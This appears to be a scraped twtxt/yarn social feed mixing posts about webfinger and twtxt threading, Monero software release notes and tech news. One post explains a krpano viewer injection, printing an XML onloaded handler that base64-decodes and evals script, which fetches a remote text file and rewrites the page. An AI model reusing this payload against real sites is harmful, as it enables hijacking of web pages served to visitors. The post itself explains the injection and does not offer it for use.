Red Hat Adding AI to Fedora Linux & GNOME
Red Hat’s Director of Desktop, outlines plans for 2025: “Big item on our list is looking at ways Fedora can make use of Artificial Intelligence” from IBM. ⌘ Read more

Everyone knows your location: tracking myself down through in-app ads
Article URL: https://timsh.org/tracking-myself-down-through-in-app-ads/

Comments URL: https://news.ycombinator.com/item?id=42909921

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Sounds about as complex as adding @nick@domain support by doing a webfinger lookup to get the URL.

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

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Boog900 completes Cuprate dev work CCS
Boog9001 has posted a third and final progress report2 for their latest full-time Cuprate 3 development work CCS proposal4:

People have been syncing using the initial binary with mostly success a couple of people have reported issues, which will be investigated [..] Fast sync is yet to be added. I have ideas for optimisations [..] that should significantly speed up sync on top of where we already are (faster than mo … ⌘ Read more

i like this little ideas utility i’ve been using like i keep pulling up the idea table to see what i’ve added and it makes me wanna start one of them like the CLI app i wanna write in golang with charmbracelet’s bubbletea even though i only have a vague idea of what i want in a CLI app

Apple has agreed to pay $95 million to settle a lawsuit alleging that its voice assistant Siri routinely recorded private conversations that were then sold to third parties for targeted ads.

From Siri “unintentionally” recorded private convos; Apple agrees to pay $95M https://arstechnica.com/tech-policy/2025/01/apple-agrees-to-pay-95m-delete-private-conversations-siri-recorded/

I’m not sure I’m convinced Apple is really that much better than the other big tech companies when it comes to this kind of thing. Their reputation is better and they do seem to be better about things like on-device encryption, but then stories like this come out.

@kat@yarn.girlonthemoon.xyz just spent like an hour playing with this and adding newjeans ASCII art this is the cutest shit ever

@kat@yarn.girlonthemoon.xyz i was adding catppuccin themes everywhere possible last night right but now my desktop wallpaper & conky widget, which are just black & white, don’t really match, so i need something dark purple tinged! i’ll make a quick edit later

P2Pool v4.3 released with initial sync improvements
SChernykh1 has released P2Pool 2 version 4.33 with initial sync improvements, various new features and bugfixes.

”`
New Features:

• Added –data-dir command line option
  
• Added –no-stratum-http command line option to disable HTTP on Stratum ports
  
• Faster initial sync (0.5-1 seconds saved on verification of blocks)
  Bugfixes:
  
• TLS: fixed not being able to use Letsencrypt certificate … ⌘ Read more”`

Introducing Annotated Logger: A Python package to aid in adding metadata to logs
We’re open sourcing Annotated Logger, a Python package that helps make logs searchable with consistent metadata.

The post [Introducing Annotated Logger: A Python package to aid in adding metadata to logs](https://github.blog/developer-skills/programming-languages-and-frameworks/introducing-annotated-logger-a-python-package-to-aid-in-a … ⌘ Read more

@prologic@twtxt.net Well I just mirrored yarnd’s JSON in my webfinger endpoint and lookup, so not much else to do for standardization.

And for people who don’t like PHP you can always just go with Added WebFinger support to my email address using one rewrite rule and one static file. or simply putting a static JSON in place for .well-know/webfinger

[ANN] PiNodeXMR v6.24.12 update available - (Ban Lists)

Hi all, here at PiNodeXMR we’ve been following along with the MRL ban list discussion and have re-added the function to pull-in a ban list of IPs. In the name of decentralisation/anti-censorship, the ban lists are optional for PiNodeXMR users. You can find the new options in your terminal setup menu under “Extra Network tools”.

Links:

• [https://farside.link/libreddit/r/Monero/comments/1hhyn4a/](https://farside.link/libreddit/r/Monero/comments/1hhyn4a/pinodexmr_v62412_u … ⌘ Read more

@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?

the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?

• phone number: yes because everyone knows what a phone number is.
  
• email address: yes, everyone knows an email and their aol or prodigy will let them email.
  
• twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
  
• domain name: yes its simple and you just type it in a browser right?
  
• twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?

According to internet it’s adshield and i dont think you should allow this domain: https://redlib.nadeko.net/r/uBlockOrigin/comments/188khmu/site_breaks_with_error_unless_ad_domain_is/

rehrar releases Stack Wallet v2.1.9, Stack Duo v1.2.4
rehrar1 has released Stack Wallet2 version 2.1.93 and Stack Duo version 1.2.44 with various fixes and improvements.

Stack Wallet:
* Show Monero/Wownero tx private key option
* Fix Frost error
* Stack Wallet Backup fixes
Stack Duo:
* Added Monero churn options
* Paynym temporarily disabled while kinks worked out [..]

The release notes, binaries, and the SHA256 hashes can … ⌘ Read more

Stack Wallet adds support for XMR view-only wallets, ‘churn options’
rehrar1 has released Stack Wallet2 version 2.1.83 with support for Monero view-only wallets and churn options 4, various other changes and bug fixes.

Added Monero churn options
Added ability to set tor/clearnet options for individual nodes
Bug fixes for Solana, Tezos, ETH, Cardano, and epic
Paynym temporarily disabled while kinks worked out
Adju ... ⌘ [Read more](https://monero.observer/stack-wallet-v2.1.8-support-monero-view-only-wallets-churn-options/)

[ANN] Monero Remote Node Monitoring project updates

Since my last post on Reddit in June 2024, there have been some major changes and new features.

* updated the license from GLWTS to a more widely recognized and permissive one (BSD-3-Clause)
* UI: switched from SvelteKit to Templ+HTMX to reduce external dependencies
* added support for monitoring both IPv6 and I2P nodes
* set up a Tor Hidden service for the web UI

Links:

• GitHub repository
  
• [Website](https://xmr.d … ⌘ Read more

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SChernykh releases P2Pool v4.2 with new features, bugfixes
SChernykh1 has released P2Pool 2 version 4.23 with new features and various bugfixes.

Stratum server now disconnects miners when it's not connected to P2Pool network [..]
Added an error code to error messages about opening/saving files
Fixed a possible deadlock during the initial sync [..]
Fixed Windows 7 compatibility
Fixed a data race on shutdown [..]

The full list of changes since v4.1.1 is … ⌘ Read more

Rucknium reviews CypherStack’s ‘Uniformly Most Powerful Tests for Ad Hoc Transactions in Monero’ paper
Rucknium1 has posted their review2 of CypherStack3’s Uniformly Most Powerful Tests for Ad Hoc Transactions in Monero 4 paper (by BG Goodell, Rigo Salazar, and Freeman Slaughter) that was published on 21 October 2024:

The paper is an important contribution to the analysis of churning, an important research question that has evaded rigorous analysis for … ⌘ Read more

XMRig v6.22.1 released with bug fixes, tweaks
XMRig 1 version 6.22.12 has been released with several bug fixes and improvements.

#3531 Always reset nonce on RandomX dataset change.
#3534 Fixed threads auto-config on Zen5.
#3535 RandomX: tweaks for Zen5.
#3539 Added Zen5 to randomx_boost.sh.
#3540 Detect AMD engineering samples in randomx_boost.sh.

Verify the SHA256 sums with xmrig3’s GPG key4 (ID: 446A53638BE94409) before using the software.

Consult … ⌘ Read more

m2049r releases Monerujo v4.0.8 ‘Sidekick’
m2049r1 has released Monerujo2 version 4.0.8 Sidekick 3 with fixes for crashes on Android 14/15.

Option to lock wallet in background
Support for Sidekick Wallet
Update default nodes
Fix crashes on Android 14/15
Fix connectivity issues with Ledger

It is worth noting that Monerujo added support for its companion app Sidekick4 last month (v4.0.6), as reported5.

Before usage, it is re … ⌘ Read more

@2024-10-08T19:36:38-07:00@a.9srv.net Thanks for the followup. I agrees with most of it - especially:

Please nobody suggest sticking the content type in more metadata. 🙄

Yes, URL can be considered ugly, but they work and are understandable by both humans and machines. And its trivial for any client to hide the URLs used as reference in replies/treading.

Webfinger can be an add-on to help lookup people, and it can be made independent of the nick by just serving the same json regardless of the nick as people do with static sites and a as I implemented it on darch.dk (wf endpoint). Try RANDOMSTRING@darch.dk on http://darch.dk/wf-lookup.php (wf lookup) or RANDOMSTRING@garrido.io on https://webfinger.net

rehrar releases Stack Wallet v2.1.7, Stack Duo v1.2.3
rehrar1 has released Stack Wallet2 version 2.1.73 and Stack Duo version 1.2.34 with Monero coin control, other changes and updates.

Stack Wallet:
* Added Monero/WOW coin control
* Added Cardano
* Updated FROST with latest and greatest
Stack Duo:
* Monero coin control
* Frost tweaks and changes
* Tweaks to how Bitcoin connects to ElectrumX [..]

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@aelaraji@aelaraji.com You could just remove the {getuser()} part because you added ~.

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I forgot to git add a new test file. Added to the patch now at https://www.falsifian.org/a/oDtr/patch0.txt

@falsifian@www.falsifian.org “I don’t really mind if the twt gets edited before I even fetch it.”, right, that’s never the problem. Editing a twtxt before anyone fetches it isn’t even editing, right? :-P The problem we are trying to fix is the havoc is causes editing twtxts that have already been replied to, often ad nauseam. That’s the real problem.

Thank you for adding the feature so fast, @prologic@twtxt.net! Look at how beautiful this one renders now. Oh my!

@sorenpeter@darch.dk I like this idea. Just for fun, I’m using a variant in this twt. (Also because I’m curious how it non-hash subjects appear in jenny and yarn.)

URLs can contain commas so I suggest a different character to separate the url from the date. Is this twt I’ve used space (also after “replyto”, for symmetry).

I think this solves:

• Changing feed identities: although @mckinley@twtxt.net points out URLs can change, I think this syntax should be okay as long as the feed at that URL can be fetched, and as long as the current canonical URL for the feed lists this one as an alternate.
  
• editing, if you don’t care about message integrity
  
• finding the root of a thread, if you’re not following the author
  

An optional hash could be added if message integrity is desired. (E.g. if you don’t trust the feed author not to make a misleading edit.) Other recent suggestions about how to deal with edits and hashes might be applicable then.

People publishing multiple twts per second should include sub-second precision in their timestamps. As you suggested, the timestamp could just be copied verbatim.

@movq@www.uninformativ.de

Maybe I’m being a bit too purist/minimalistic here. As I said before (in one of the 1372739 posts on this topic – or maybe I didn’t even send that twt, I don’t remember 😅), I never really liked hashes to begin with. They aren’t super hard to implement but they are kind of against the beauty of the original twtxt – because you need special client support for them. It’s not something that you could write manually in your twtxt.txt file. With @sorenpeter@darch.dk’s proposal, though, that would be possible.

Tangentially related, I was a bit disappointed to learn that the twt subject extension is now never used except with hashes. Manually-written subjects sounded so beautifully ad-hoc and organic as a way to disambiguate replies. Maybe I’ll try it some time just for fun.

you can just have a web address.. i added mine.. though i think they have changed up the protocol so my key doesn’t seem to work anymore. https://key.sour.is/id/me@sour.is

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@movq@www.uninformativ.de I think I have got it, but need to test upon receiving further posts. I added:

set uncollapse_new     = yes  # open threads when new mail
set uncollapse_jump    = yes  # jump to unread message when uncollapse
set collapse_unread    = no   # don't collapse threads with unread mails

Let’s see how it goes.

@movq@www.uninformativ.de, maybe you can help me with this. I want to place the vim cursor at the end of the first line on replies, and forks. I have tried adding to this to jenny’s configuration:

"editor": "vim \"+normal $\"",

But that doesn’t work. How would you go about it?

@movq@www.uninformativ.de, that would be a nice addition. :-) I would also love the ability to hide/not show the hash when reading twtxts (after all, that’s on the header on each “email”). Could that be added as a user configurable toggle?

@movq@www.uninformativ.de I don’t know if I’d want to discard the twts. I think what I’m looking for is a command “jenny -g https://host.org/twtxt.txt” to fetch just that one feed, even if it’s not in my follow list. I could wrap that in a shell script so that when I see a twt in reply to a feed I don’t follow, I can just tap a key and the feed will get added to my maildir. I guess the script would look for a mention at the start of a selected twt and call jenny -g on the feed.

@movq@www.uninformativ.de Is there a good way to get jenny to do a one-off fetch of a feed, for when you want to fill in missing parts of a thread? I just added @slashdot@feeds.twtxt.net to my private follow file just because @prologic@twtxt.net keeps responding to the feed :-P and I want to know what he’s commenting on even though I don’t want to see every new slashdot twt.

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@prologic@twtxt.net Fair enough! I just added some metadata.

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Fiverizer: convert a website from XHTML 1.0 to HTML5
If you have one or more websites written in XHTML 1.0,
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